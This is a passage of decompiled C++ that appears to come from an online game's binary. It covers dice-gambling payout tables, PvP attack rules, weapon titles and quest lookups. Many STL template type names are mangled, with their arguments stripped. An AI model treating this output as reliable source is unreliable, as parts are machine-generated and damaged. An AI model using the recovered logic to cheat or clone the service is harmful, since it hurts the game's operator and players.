++v72; } while ( v72 < 3 ); if ( v71 > 0 ) { v73 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v73[4] = v71; *((_DWORD *)v73 + 2) = 51; ++v7; } pPrizeWinningBet->nPrizeWinningBetCnt = v7; return 1; } //----- (005F6E60) -------------------------------------------------------- void __thiscall DiceTaiSaiDividind::DiceTaiSaiDividind(DiceTaiSaiDividind *this) { DiceTaiSaiDividind *v1; // eax@1 signed int v2; // ecx@1 v1 = this; v2 = 0; do { v1->DividendRate[v2] = 0; v1->bIsInitDividendRate[v2++] = 0; } while ( v2 < 15 ); v1->ConertDividendRateTable[2] = 1; v1->ConertDividendRateTable[3] = 1; v1->ConertDividendRateTable[4] = 2; v1->ConertDividendRateTable[5] = 2; v1->ConertDividendRateTable[6] = 2; v1->ConertDividendRateTable[7] = 2; v1->ConertDividendRateTable[8] = 2; v1->ConertDividendRateTable[9] = 2; v1->ConertDividendRateTable[10] = 3; v1->ConertDividendRateTable[11] = 3; v1->ConertDividendRateTable[12] = 3; v1->ConertDividendRateTable[13] = 3; v1->ConertDividendRateTable[14] = 3; v1->ConertDividendRateTable[15] = 3; v1->ConertDividendRateTable[22] = 10; v1->ConertDividendRateTable[23] = 10; v1->ConertDividendRateTable[24] = 10; v1->ConertDividendRateTable[25] = 10; v1->ConertDividendRateTable[0] = 0; v1->ConertDividendRateTable[1] = 0; v1->ConertDividendRateTable[31] = 11; v1->ConertDividendRateTable[32] = 11; v1->ConertDividendRateTable[33] = 11; v1->ConertDividendRateTable[34] = 11; v1->ConertDividendRateTable[35] = 11; v1->ConertDividendRateTable[36] = 11; v1->ConertDividendRateTable[37] = 11; v1->ConertDividendRateTable[38] = 11; v1->ConertDividendRateTable[39] = 11; v1->ConertDividendRateTable[40] = 11; v1->ConertDividendRateTable[41] = 11; v1->ConertDividendRateTable[42] = 11; v1->ConertDividendRateTable[43] = 11; v1->ConertDividendRateTable[44] = 11; v1->ConertDividendRateTable[45] = 11; v1->ConertDividendRateTable[16] = 4; v1->ConertDividendRateTable[17] = 5; v1->ConertDividendRateTable[18] = 6; v1->ConertDividendRateTable[19] = 7; v1->ConertDividendRateTable[20] = 8; v1->ConertDividendRateTable[21] = 9; v1->ConertDividendRateTable[26] = 9; v1->ConertDividendRateTable[27] = 8; v1->ConertDividendRateTable[28] = 7; v1->ConertDividendRateTable[29] = 6; v1->ConertDividendRateTable[30] = 5; v1->ConertDividendRateTable[46] = 14; v1->ConertDividendRateTable[47] = 14; v1->ConertDividendRateTable[48] = 14; v1->ConertDividendRateTable[49] = 14; v1->ConertDividendRateTable[50] = 14; v1->ConertDividendRateTable[51] = 14; } //----- (005F6FC0) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::isInitFinishe(DiceTaiSaiDividind *this) { signed int v1; // eax@1 v1 = 0; while ( this->bIsInitDividendRate[v1] ) { ++v1; if ( v1 >= 15 ) return 1; } return 0; } //----- (005F6FE0) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::Init(DiceTaiSaiDividind *this, DividendRate nDividind, unsigned __int16 nDividindRate) { signed int v3; // eax@2 if ( (signed int)nDividind < 15 ) { this->DividendRate[nDividind] = nDividindRate; this->bIsInitDividendRate[nDividind] = 1; v3 = 0; while ( this->bIsInitDividendRate[v3] ) { ++v3; if ( v3 >= 15 ) return 1; } } return 0; } //----- (005F7020) -------------------------------------------------------- bool __thiscall DiceTaiSaiDividind::is_CanBettingMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, unsigned int nMaxBetMoney, unsigned int nBetMoney) { DividendRate v4; // eax@2 bool result; // al@4 if ( (signed int)nBet < 52 && (v4 = this->ConertDividendRateTable[nBet], (signed int)v4 < 15) && this->bIsInitDividendRate[v4] ) result = nBetMoney <= 100 * nMaxBetMoney / (unsigned __int64)this->DividendRate[v4]; else result = 0; return result; } //----- (005F7080) -------------------------------------------------------- unsigned int __thiscall DiceTaiSaiDividind::get_DividindMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum, unsigned int nBetMoney) { DividendRate v4; // eax@2 __int64 v5; // qax@12 if ( (signed int)nBet >= 52 ) goto LABEL_12; v4 = this->ConertDividendRateTable[nBet]; if ( (signed int)nBet < 46 || (signed int)nBet > 51 ) { if ( (signed int)v4 >= 15 ) goto LABEL_12; } else { if ( nSingleNum == 1 ) { v4 = 12; } else { if ( nSingleNum == 2 ) { v4 = 13; } else { if ( nSingleNum != 3 ) goto LABEL_12; v4 = 14; } } } if ( this->bIsInitDividendRate[v4] ) return (unsigned __int64)((double)this->DividendRate[v4] * 0.0099999998 * (double)nBetMoney); LABEL_12: LODWORD(v5) = 0; return v5; } //----- (005F7100) -------------------------------------------------------- unsigned __int16 __thiscall DiceTaiSaiDividind::get_DividendRate(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum) { DividendRate v3; // eax@2 if ( (signed int)nBet >= 52 ) return 0; v3 = this->ConertDividendRateTable[nBet]; if ( (signed int)nBet >= 46 && (signed int)nBet <= 51 ) { if ( nSingleNum == 1 ) { v3 = 12; goto LABEL_11; } if ( nSingleNum == 2 ) { v3 = 13; goto LABEL_11; } if ( nSingleNum == 3 ) { v3 = 14; goto LABEL_11; } return 0; } if ( (signed int)v3 >= 15 ) return 0; LABEL_11: if ( !this->bIsInitDividendRate[v3] ) return 0; return this->DividendRate[v3]; } //----- (005F7160) -------------------------------------------------------- void __thiscall DiceTaiSai::Init(DiceTaiSai *this, int NoSumTriple) { DiceTaiSai *v2; // edx@1 signed int v3; // edi@1 char *v4; // esi@1 int v5; // eax@7 int v6; // esi@7 signed int v7; // ebp@7 unsigned __int8 v8; // cl@8 unsigned __int8 v9; // dl@8 signed int v10; // edi@8 unsigned __int8 v11; // bl@10 char v12; // cl@18 char v13; // cl@19 char v14; // dl@19 char v15; // cl@22 unsigned __int8 v16; // cl@22 char v17; // bl@24 unsigned __int8 v18; // dl@24 char v19; // cl@25 char v20; // dl@25 unsigned __int8 v21; // cl@26 unsigned __int8 v22; // dl@26 char v23; // cl@27 char v24; // cl@27 char v25; // dl@27 unsigned __int8 v26; // cl@28 unsigned __int8 v27; // dl@28 char v28; // cl@29 char v29; // cl@29 char v30; // dl@29 char v31; // cl@30 char v32; // dl@33 unsigned __int8 v33; // cl@33 unsigned __int8 v34; // dl@40 char v35; // cl@43 char v36; // cl@45 bool v37; // zf@45 int nSameNum; // [sp+10h] [bp-4h]@8 v2 = this; v3 = 0; v4 = &this->m_Dice[0].isEven; do { if ( v4 != (char *)3 && v3 >= 0 && v3 < 216 ) { *(v4 - 1) = v3 % 6 + 1; *(v4 - 2) = v3 / 6 % 6 + 1; *(v4 - 3) = v3 / 6 / 6 % 6 + 1; v2 = this; } *v4 = -1; v4[1] = -1; v4[2] = -1; v4[3] = -1; v4[4] = -1; v4[5] = 3; v4[6] = 0; v4[7] = 0; v4[8] = 0; v4[9] = 0; v4[10] = 0; v4[11] = 0; v4[12] = 3; v4[13] = 0; v4[14] = 0; v4[15] = 0; v4[16] = 0; v4[17] = 0; v4[18] = 0; ++v3; v4 += 22; } while ( v3 < 216 ); v5 = (int)&v2->m_Dice[0].Dice.nNumber[2]; v6 = (int)v2->m_Dice[0].nDominoNum; v7 = 216; do { v8 = *(_BYTE *)(v5 - 1); v9 = *(_BYTE *)(v5 - 2); v10 = 0; nSameNum = 0; if ( v9 == v8 ) { nSameNum = v9; v10 = 1; } v11 = *(_BYTE *)v5; if ( v8 == *(_BYTE *)v5 ) { nSameNum = v8; ++v10; } if ( v11 == v9 ) { nSameNum = v11; ++v10; } if ( v10 == 1 ) { *(_BYTE *)(v5 + 3) = nSameNum; *(_BYTE *)(v5 + 13) = 2; *(_BYTE *)(v5 + 6) = 1; } else { if ( v10 == 3 ) { *(_BYTE *)(v5 + 4) = nSameNum; *(_BYTE *)(v5 + 13) = 1; *(_BYTE *)(v5 + 6) = 0; } } v12 = *(_BYTE *)(v5 + 6); if ( v12 == 1 ) { v13 = *(_BYTE *)(v5 - 2); v14 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 7) = v13; if ( v13 == v14 ) { *(_BYTE *)(v5 + 8) = *(_BYTE *)v5; goto LABEL_24; } } else { if ( v12 != 3 ) goto LABEL_24; v15 = *(_BYTE *)(v5 - 2); v14 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 7) = v15; *(_BYTE *)(v5 + 9) = v15; v16 = *(_BYTE *)v5; *(_BYTE *)(v5 + 10) = *(_BYTE *)v5; *(_BYTE *)(v5 + 11) = v14; *(_BYTE *)(v5 + 12) = v16; } *(_BYTE *)(v5 + 8) = v14; LABEL_24: v17 = *(_BYTE *)v6; v18 = *(_BYTE *)(v6 + 1); if ( *(_BYTE *)v6 > v18 ) { *(_BYTE *)v6 = v17 ^ v18; v19 = v18 ^ v17 ^ v18; v20 = v19 ^ *(_BYTE *)v6; *(_BYTE *)(v6 + 1) = v19; *(_BYTE *)v6 = v20; } v21 = *(_BYTE *)(v6 + 2); v22 = *(_BYTE *)(v6 + 3); if ( v21 > v22 ) { v23 = v22 ^ v21; *(_BYTE *)(v6 + 2) = v23; v24 = v22 ^ v23; v25 = v24 ^ *(_BYTE *)(v6 + 2); *(_BYTE *)(v6 + 3) = v24; *(_BYTE *)(v6 + 2) = v25; } v26 = *(_BYTE *)(v6 + 4); v27 = *(_BYTE *)(v6 + 5); if ( v26 > v27 ) { v28 = v27 ^ v26; *(_BYTE *)(v6 + 4) = v28; v29 = v27 ^ v28; v30 = v29 ^ *(_BYTE *)(v6 + 4); *(_BYTE *)(v6 + 5) = v29; *(_BYTE *)(v6 + 4) = v30; } v31 = *(_BYTE *)(v5 + 13); if ( v31 == 1 ) { *(_BYTE *)(v5 + 14) = *(_BYTE *)(v5 - 2); *(_BYTE *)(v5 + 15) = 3; goto LABEL_43; } if ( v31 != 2 ) { if ( v31 != 3 ) goto LABEL_43; v33 = *(_BYTE *)(v5 - 1); *(_BYTE *)(v5 + 14) = *(_BYTE *)(v5 - 2); v34 = *(_BYTE *)v5; *(_BYTE *)(v5 + 15) = 1; *(_BYTE *)(v5 + 18) = v34; *(_BYTE *)(v5 + 19) = 1; goto LABEL_41; } v32 = *(_BYTE *)(v5 - 1); v33 = *(_BYTE *)(v5 - 2); if ( v33 == v32 ) { *(_BYTE *)(v5 + 14) = v33; v33 = *(_BYTE *)v5; *(_BYTE *)(v5 + 15) = 2; LABEL_41: *(_BYTE *)(v5 + 16) = v33; goto LABEL_42; } if ( v33 != *(_BYTE *)v5 ) { if ( v32 != *(_BYTE *)v5 ) goto LABEL_43; *(_BYTE *)(v5 + 14) = v32; *(_BYTE *)(v5 + 15) = 2; goto LABEL_41; } *(_BYTE *)(v5 + 14) = v33; *(_BYTE *)(v5 + 15) = 2; *(_BYTE *)(v5 + 16) = v32; LABEL_42: *(_BYTE *)(v5 + 17) = 1; LABEL_43: v35 = *(_BYTE *)(v5 + 4); if ( !NoSumTriple ) { if ( v35 > 0 ) goto LABEL_55; LABEL_45: v36 = *(_BYTE *)(v5 - 2) + *(_BYTE *)v5 + *(_BYTE *)(v5 - 1); v37 = (v36 & 0x80000001) == 0; *(_BYTE *)(v5 + 5) = v36; if ( (v36 & 0x80000001) < 0 ) v37 = (((v36 & 0x80000001) - 1) | 0xFFFFFFFE) == -1; *(_BYTE *)(v5 + 1) = !v37 + 1; if ( v36 < 11 || v36 > 17 ) *(_BYTE *)(v5 + 2) = 2; else *(_BYTE *)(v5 + 2) = 1; goto LABEL_55; } if ( v35 <= 0 ) goto LABEL_45; if ( nSameNum != 1 && nSameNum != 6 ) *(_BYTE *)(v5 + 5) = *(_BYTE *)(v5 - 2) + *(_BYTE *)v5 + *(_BYTE *)(v5 - 1); LABEL_55: v6 += 22; v5 += 22; --v7; } while ( v7 ); } //----- (005F73F0) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_Init(CPvPIdentify *this) { this->PI_bFriend = 0; this->PI_bWedding = 0; this->PI_bHolyPromise = 0; this->PI_bAcademy = 0; this->PI_bParty = 0; this->PI_bSameGuild = 0; this->PI_bCorps = 0; this->PI_nAttackerLevel = 0; this->PI_nDefenderLevel = 0; this->PI_bIsInGuildWar = 0; this->PI_bEnemyGuild = 0; this->PI_bEnemyDisposition = 0; this->PI_bPKMode = 0; } //----- (005F7420) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetFriend(CPvPIdentify *this) { this->PI_bFriend = 1; } //----- (005F7430) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetWedding(CPvPIdentify *this) { this->PI_bWedding = 1; } //----- (005F7440) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetHolyPromise(CPvPIdentify *this) { this->PI_bHolyPromise = 1; } //----- (005F7450) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetAcademy(CPvPIdentify *this) { this->PI_bAcademy = 1; } //----- (005F7460) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetParty(CPvPIdentify *this) { this->PI_bParty = 1; } //----- (005F7470) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetSameGuild(CPvPIdentify *this) { this->PI_bSameGuild = 1; } //----- (005F7480) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetLevel(CPvPIdentify *this, char nAttLevel, char nDefLevel) { this->PI_nAttackerLevel = nAttLevel; this->PI_nDefenderLevel = nDefLevel; } //----- (005F74A0) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetIsInGuildWar(CPvPIdentify *this) { this->PI_bIsInGuildWar = 1; } //----- (005F74B0) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetEnemyGuild(CPvPIdentify *this) { this->PI_bEnemyGuild = 1; } //----- (005F74C0) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetEnemyDisposition(CPvPIdentify *this) { this->PI_bEnemyDisposition = 1; } //----- (005F74D0) -------------------------------------------------------- void __thiscall CPvPIdentify::PI_SetPKMode(CPvPIdentify *this) { this->PI_bPKMode = 1; } //----- (005F74E0) -------------------------------------------------------- int __thiscall CPvPIdentify::PI_CanAttack(CPvPIdentify *this, PVPNoAttack *const pPvPData) { int result; // eax@2 char v3; // al@3 if ( pPvPData ) { v3 = pPvPData->PKN_MinLV; if ( (unsigned __int8)v3 > this->PI_nAttackerLevel || (unsigned __int8)v3 > this->PI_nDefenderLevel || (result = 1, pPvPData->PKN_Party == 1) && this->PI_bParty == 1 || pPvPData->PKN_Guild == 1 && this->PI_bSameGuild == 1 || pPvPData->PKN_Academy == 1 && this->PI_bAcademy == 1 || pPvPData->PKN_Corps == 1 && this->PI_bCorps == 1 || pPvPData->PKN_Wedding == 1 && this->PI_bWedding == 1 || pPvPData->PKN_Holy == 1 && this->PI_bHolyPromise == 1 || pPvPData->PKN_Friend == 1 && this->PI_bFriend == 1 ) { $L6042: result = 0; } else { switch ( pPvPData->PKN_PK ) { case 2: if ( !this->PI_bIsInGuildWar || this->PI_bEnemyGuild != 1 ) goto $L6042; return result; case 3: if ( this->PI_bPKMode != 1 && this->PI_bEnemyDisposition != 1 ) goto $L6042; return result; case 4: if ( this->PI_bIsInGuildWar != 1 ) goto LABEL_29; if ( this->PI_bEnemyGuild == 1 ) return result; if ( this->PI_bSameGuild == 1 ) goto $L6042; LABEL_29: if ( this->PI_bPKMode != 1 && this->PI_bEnemyDisposition != 1 ) goto $L6042; break; default: goto $L6042; case 1: return result; } } } else { result = 0; } return result; } //----- (005F75C0) -------------------------------------------------------- void __thiscall CWeaponTitle::CWeaponTitle(CWeaponTitle *this) { CWeaponTitle *v1; // esi@1 v1 = this; CDataReader::CDataReader(&this->m_WeaponTitleData); v1->m_ppWTDArray = 0; v1->m_MaxArrayIndex = 0; } //----- (005F75E0) -------------------------------------------------------- int __thiscall CWeaponTitle::Read(CWeaponTitle *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize) { CWeaponTitle *v4; // esi@1 int result; // eax@3 CDataReader::HEAD *v6; // eax@4 unsigned int v7; // ebx@5 unsigned int v8; // edi@7 void *v9; // eax@8 unsigned __int8 v10; // cl@8 int v11; // eax@9 unsigned int v12; // eax@12 void *v13; // eax@13 unsigned int v14; // edx@13 int v15; // edi@13 int i; // ecx@13 unsigned int v17; // edi@16 void *v18; // eax@17 v4 = this; if ( this->m_ppWTDArray ) { operator delete__(this->m_ppWTDArray); v4->m_ppWTDArray = 0; } v4->m_MaxArrayIndex = 0; result = CDataReader::Read(&v4->m_WeaponTitleData, pFN, nVersionKey, nStructSize); if ( result ) { v6 = v4->m_WeaponTitleData.m_pHead; if ( v6 ) v7 = v6->nNumOfRecord; else v7 = 0; v8 = 0; if ( v7 ) { while ( 1 ) { v9 = CDataReader::GetRecord(&v4->m_WeaponTitleData, v8); v10 = *((_BYTE *)v9 + 2); if ( v10 >= 0xAu ) break; v11 = v10 + 10 * *(_WORD *)v9; if ( v4->m_MaxArrayIndex <= v11 ) v4->m_MaxArrayIndex = v11 + 1; ++v8; if ( v8 >= v7 ) goto LABEL_12; } result = 0; } else { LABEL_12: v12 = v4->m_MaxArrayIndex; if ( v12 ) { v13 = operator new__(4 * v12); v14 = 4 * v4->m_MaxArrayIndex; v4->m_ppWTDArray = (WEAPON_TITLE_DATA **)v13; memset(v13, 0, 4 * (v14 >> 2)); v15 = (int)((char *)v13 + 4 * (v14 >> 2)); for ( i = v14 & 3; i; --i ) *(_BYTE *)v15++ = 0; v17 = 0; if ( v7 ) { do { v18 = CDataReader::GetRecord(&v4->m_WeaponTitleData, v17++); v4->m_ppWTDArray[*((_BYTE *)v18 + 2) + 10 * *(_WORD *)v18] = (WEAPON_TITLE_DATA *)v18; } while ( v17 < v7 ); } } result = 1; } } return result; } //----- (005F76D0) -------------------------------------------------------- unsigned int __thiscall CWeaponTitle::GetLevel(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount) { unsigned int v3; // ebx@1 int v4; // esi@1 unsigned int result; // eax@2 int v6; // edi@3 WEAPON_TITLE_DATA *v7; // edx@5 v3 = this->m_MaxArrayIndex; v4 = 10 * MobID; if ( v4 < v3 ) { result = 0; v6 = 10 * MobID; do { if ( result + v4 >= v3 ) break; v7 = this->m_ppWTDArray[v6]; if ( !v7 ) break; if ( MobKillCount < v7->MobKillCount ) return result; ++result; ++v6; } while ( result < 0xA ); --result; } else { result = -1; } return result; } //----- (005F7730) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitle::GetLevelData(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount, unsigned int *pLevel) { unsigned int v4; // eax@1 int v5; // ecx@1 int v6; // eax@2 WEAPON_TITLE_DATA *result; // eax@3 v4 = CWeaponTitle::GetLevel(this, MobID, MobKillCount); *pLevel = v4; if ( v4 != -1 && (v6 = v4 + 10 * MobID, (unsigned int)v6 < *(_DWORD *)(v5 + 64)) ) result = *(WEAPON_TITLE_DATA **)(*(_DWORD *)(v5 + 60) + 4 * v6); else result = 0; return result; } //----- (005F7770) -------------------------------------------------------- void __thiscall CWeaponTitle::_CWeaponTitle(CWeaponTitle *this) { CWeaponTitle *v1; // esi@1 v1 = this; if ( this->m_ppWTDArray ) { operator delete__(this->m_ppWTDArray); v1->m_ppWTDArray = 0; } v1->m_MaxArrayIndex = 0; CDataReader::_CDataReader(&v1->m_WeaponTitleData); } //----- (005F77A0) -------------------------------------------------------- bool __cdecl StrUtil::ConvertToNormalName(char *buf, const char *deletedCharName) { char *v2; // esi@1 signed int v3; // edi@5 bool result; // al@9 v2 = buf; if ( buf && deletedCharName ) { if ( buf != deletedCharName ) _mbsnbcpy(buf, deletedCharName, 0x10u); v3 = 16; do { if ( !_mbsnbcmp(v2, (const char *)"~", 1u) ) *v2 = 0; ++v2; --v3; } while ( v3 ); result = 1; } else { result = 0; } return result; } //----- (005F77F0) -------------------------------------------------------- QUEST_DATA *__thiscall CQuestData::GetQuestDataByIndex(CQuestData *this, unsigned int Index) { QUEST_DATA_HEAD *v2; // eax@1 unsigned __int16 v3; // ax@2 QUEST_DATA *result; // eax@5 v2 = this->m_pDataHead; if ( v2 ) v3 = v2->NumOfQuest; else v3 = 0; if ( Index < v3 ) result = this->m_ppQuestDataArray[Index]; else result = 0; return result; } //----- (005F7820) -------------------------------------------------------- std::list,std::allocator > >::iterator *__cdecl std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest) { std::list,std::allocator > >::iterator *v3; // ecx@1 std::list,std::allocator > >::iterator *result; // eax@1 int v5; // esi@2 v3 = _Last; for ( result = _Dest; v3 != _First; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5 ) { v5 = *(_DWORD *)&v3[-1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; --v3; --result; } return result; } //----- (005F7850) -------------------------------------------------------- std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this) { std::_List_nod,std::allocator > >::_Node *result; // eax@1 result = (std::_List_nod,std::allocator > >::_Node *)operator new(0x10u); if ( result ) result->_Next = result; if ( result != (std::_List_nod,std::allocator > >::_Node *)-4 ) result->_Prev = result; return result; } //----- (005F7870) -------------------------------------------------------- std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this, std::_List_nod,std::allocator > >::_Node *_Next, std::_List_nod,std::allocator > >::_Node *_Prev, std::pair *_Val) { std::_List_nod,std::allocator > >::_Node *result; // eax@1 result = (std::_List_nod,std::allocator > >::_Node *)operator new(0x10u); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; *(_DWORD *)&result->_Myval.first = *(_DWORD *)&_Val->first; result->_Myval.second = _Val->second; } return result; } //----- (005F78A0) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall stdext::_Hash>_std::allocator>_0>>::lower_bound(stdext::_Hash >,std::allocator >,0> > *this, std::list,std::allocator > >::iterator *result, const unsigned __int16 *_Keyval) { unsigned int v3; // edx@1 const unsigned __int16 v4; // si@1 int v5; // eax@1 std::list,std::allocator > >::iterator *v6; // edx@3 int v7; // edi@3 int v8; // eax@3 std::list,std::allocator > >::iterator *v9; // eax@6 int _Keyvala; // [sp+Ch] [bp+8h]@7 v3 = this->_Mask; v4 = *_Keyval; v5 = v3 & (*_Keyval ^ 0xDEADBEEF); if ( this->_Maxidx <= v5 ) v5 += -1 - (v3 >> 1); v6 = this->_Vec._Myfirst; v7 = *(_DWORD *)&v6[v5 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v8 = *(_DWORD *)&v6[v5].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v8 == v7 ) { LABEL_6: v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_List._Myhead; } else { while ( *(_WORD *)(v8 + 8) < v4 ) { v8 = *(_DWORD *)v8; if ( v8 == v7 ) goto LABEL_6; } _Keyvala = v8; if ( v4 >= *(_WORD *)(v8 + 8) ) { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Keyvala; } else { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_List._Myhead; } } return v9; } //----- (005F7940) -------------------------------------------------------- int std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::erase(...) { std::list,std::allocator > >::iterator *v4; // eax@1 std::list,std::allocator > >::iterator *v5; // esi@2 std::list,std::allocator > >::iterator *v6; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator **)&_First != _First._Myfirst ) { v5 = this->_Mylast; v6 = *(std::list,std::allocator > >::iterator **)&_First; if ( _First._Myfirst != v5 ) { do { *(_DWORD *)&v6->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v4->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v4; ++v6; } while ( v4 != v5 ); } this->_Mylast = v6; } v7 = result; *(_DWORD *)&result->baseclass_0._Alval.baseclass_0.dummy[0] = *(_DWORD *)&_First; return v7; } // 5F7940: inconsistent function type and number of purged bytes //----- (005F7980) -------------------------------------------------------- QUEST_DATA *__thiscall CQuestData::GetQuestData(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 QUEST_DATA *result; // eax@2 CQuestData *iter; // [sp+0h] [bp-4h]@1 iter = this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, (std::list,std::allocator > >::iterator *)&iter, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)iter == v2->m_hashmap_QuestData.baseclass_0._List._Myhead ) result = 0; else result = (QUEST_DATA *)iter->m_pBF; return result; } //----- (005F79B0) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::_Incsize(std::list,std::allocator > > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v5; // [sp+50h] [bp-4h]@2 v2 = this->_Mysize; if ( 536870911 - v2 < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005F7A50) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005F7AC0) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptStart(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 660); else v4 = v2->m_pNULLSTR; return v4; } //----- (005F7B10) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptDoing(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 664); else v4 = v2->m_pNULLSTR; return v4; } //----- (005F7B60) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptEnd(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 668); else v4 = v2->m_pNULLSTR; return v4; } //----- (005F7BB0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val) { std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v5; // edx@1 std::list,std::allocator > >::iterator v6; // ecx@1 int v7; // eax@2 std::list,std::allocator > >::iterator *v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 std::list,std::allocator > >::iterator *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::list,std::allocator > >::iterator *v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 